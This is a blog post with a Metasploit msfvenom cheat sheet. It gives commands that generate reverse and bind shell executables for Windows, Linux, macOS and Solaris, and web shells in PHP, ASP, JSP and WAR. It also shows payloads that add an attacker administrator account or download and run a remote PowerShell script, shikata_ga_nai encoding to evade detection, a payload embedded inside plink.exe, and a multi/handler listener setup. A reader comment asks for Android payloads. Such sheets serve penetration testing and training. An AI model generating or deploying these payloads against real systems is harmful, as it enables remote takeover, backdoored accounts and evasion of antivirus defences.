Recent in Technology

msfvenom CheatSheet

 


MsfVenom Cheat Sheet


Windows Payloads


Reverse Shell
khitminnyo@kali:~#  msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

khitminnyo@kali:~#  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse-64.exe

Bind Shell
khitminnyo@kali:~#  msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

CMD Shell (Staged Payloads)
khitminnyo@kali:~#  msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

khitminnyo@kali:~#  msfvenom -p windows/x64/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt-x64.exe

CMD Shell (Stageless Payloads)
khitminnyo@kali:~#  msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

Creating Users
khitminnyo@kali:~#  msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

Command Execution
khitminnyo@kali:~#  msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe

khitminnyo@kali:~#  msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

Encoder
khitminnyo@kali:~#  msfvenom -p windows/meterpreter/reverse_tcp -a x64 -e x86/shikata_ga_nai -i 3 -f exe > encoded.exe

Embeded inside executable files
khitminnyo@kali:~#  msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe



Bad characters shikata_ga_nai
khitminnyo@kali:~#  msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=(IP Address) LPORT=(Your Port) -f c -e x86/shikata_ga_nai -b "\x04\xA0"


Encoded with shikata_ga_nai
khitminnyo@kali:~#  msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -i 3 -e x86/shikata_ga_nai -f exe > encoded.exe


Bad characters fnstenv_mov
khitminnyo@kali:~#  msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=(IP Address) LPORT=(Your Port) -f c -e x86/fnstenv_mov -b "\x04\xA0"

Linux Payloads


Meterpreter Reverse Shell
khitminnyo@kali:~#  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf

Reverse Shell (non-meterpreter) (Staged Payloads)
khitminnyo@kali:~#  msfvenom -p linux/x86/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > shell-32.elf

khitminnyo@kali:~#  msfvenom -p linux/x64/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > shell-64.elf

Reverse Shell (non-meterpreter) (Stageless Payloads)
khitminnyo@kali:~#  msfvenom -p linux/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > shell-32.elf

khitminnyo@kali:~#  msfvenom -p linux/x64/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > shell-64.elf

Bind Shell (Meterpreter)
khitminnyo@kali:~#  msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind-32.elf

khitminnyo@kali:~#  msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind-64.elf

Bind Shell (non-meterpreter)
khitminnyo@kali:~#  msfvenom -p linux/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > shell-32.elf

khitminnyo@kali:~#  msfvenom -p linux/x64/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > shell-64.elf

For Solaris
khitminnyo@kali:~#  msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf


Mac Payloads


Rever Shell
khitminnyo@kali:~#  msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Bind Shell
khitminnyo@kali:~#  msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > shell.macho


Web Based Payloads


PHP Reverse Shell
khitminnyo@kali:~#  msfvenom -p php/meterpreter_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw > shell.php
khitminnyo@kali:~#  cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP/x Reverse Shell (Meterpreter)
khitminnyo@kali:~#  msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp

khitminnyo@kali:~#  msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

ASP/x Reverse Shell (non-meterpreter)
khitminnyo@kali:~#  msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp

khitminnyo@kali:~#  msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

JSP Reverse Shell
khitminnyo@kali:~#  msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

WAR Reverse Shell
khitminnyo@kali:~#  msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS Reverse Shell
khitminnyo@kali:~#  msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)


Scripting Language Reverse Shell


Pearl Shell
khitminnyo@kali:~#  msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Python Shell
khitminnyo@kali:~#  msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Bash Sehll
khitminnyo@kali:~#  msfvenom -p cmd/unix/reverse_bash LHOST=(IP Address) LPORT=(Your Port) -f raw > shell.sh

While the examples above offer a glimpse of the available payloads, there are many more to explore. These examples are merely illustrative. To view information on all available payloads, please use the following command.

khitminnyo@kali:~#  msfvenom  -l  payloads



Multi Handler Listening


To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. In this example, I will show for meterpreter/reverse_tcp payload,

khitminnyo@kali:~#  msfconsole -q

In Metasploit Framework >>

msf6   >   use   exploit/multi/handler

Payload is what you setup in msfvenom.
msf6   >   set    PAYLOAD   windows/meterpreter/reverse_tcp


msf6   >   set   LHOST   (YourIP)


msf6   >   set   LPORT    (YourPort)


msf6   >   set     ExitOnSession   false 


msf6   >   exploit    -j 


The -j option in msf exploit is to keep all the connected session in the background.



Thank you for reading

Post a Comment

1 Comments

  1. ဆရာရေ Androidအတွက် Payload ဘယ်လိုထုတ်မလဲဗျ? တစ်ချို့payloadတွေက စမ်းကြည့်မယ့်ဖုန်းမှာversionမကိုက်ဘူးပဲပြနေတယ်ဗျ နှိပ်လိုက်ပြီဆိုရင် Session 1 open ဆိုတာနဲ့ ချက်ချင်း Close ဖြစ်သွားတယ်ဆရာ... Android payloadလေး ထုတ်ပြလားဆရာ... အပန်းမကြီးရင်ဖြေပေးပါ့လားဗျ. စမ်းကြည့်ချင်လို့ပါဆရာ.

    ReplyDelete

People